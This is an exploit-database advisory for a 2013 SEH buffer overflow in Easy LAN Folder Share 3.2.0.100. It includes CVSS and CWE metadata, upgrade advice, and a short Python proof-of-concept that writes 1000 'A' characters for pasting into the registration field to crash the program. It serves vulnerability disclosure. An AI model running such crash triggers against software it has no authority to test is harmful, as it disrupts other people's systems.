Easy LAN Folder Share Version 3.2.0.100 Buffer Overflow vulnerability(SEH)

vendor:

Easy LAN Folder Share

by:

ariarat

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Easy LAN Folder Share

Affected Version From: 3.2.0.100

Affected Version To: 3.2.0.100

Patch Exists: Yes

Related CWE: N/A

CPE: a:mostgear:easy_lan_folder_share:3.2.0.100

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 & Windows XP SP2, SP3

2013

Easy LAN Folder Share Version 3.2.0.100 Buffer Overflow vulnerability(SEH)

Easy LAN Folder Share Version 3.2.0.100 is vulnerable to a buffer overflow vulnerability. After creating a txt file, the user can copy the AAA... string to clipboard and then paste it in the 'Register -> Activate License -> Registration Code' section. Typing any character in the User Name text field will trigger the vulnerability.

Mitigation:

Upgrade to the latest version of Easy LAN Folder Share.

Source

Exploit-DB raw data:

# Exploit Title: Easy LAN Folder Share Version 3.2.0.100 Buffer Overflow vulnerability(SEH)
# Date: 14-06-2013
# Exploit Author: ariarat
# Vendor Homepage: http://www.mostgear.com
# Software Link: http://download.cnet.com/Easy-LAN-Folder-Share/3000-2085_4-10909166.html
# Version: 3.2.0.100
# Tested on: [ Windows 7 & windows XP sp2,sp3]
#============================================================================================
# After creating txt file,open created file and copy the AAA... string to clipboard and
# then paste in "Register -> Activate License -> Registration Code" section.
# ** type any character in User Name text field.
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

filename="string.txt"
buffer = "\x41" * 1000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()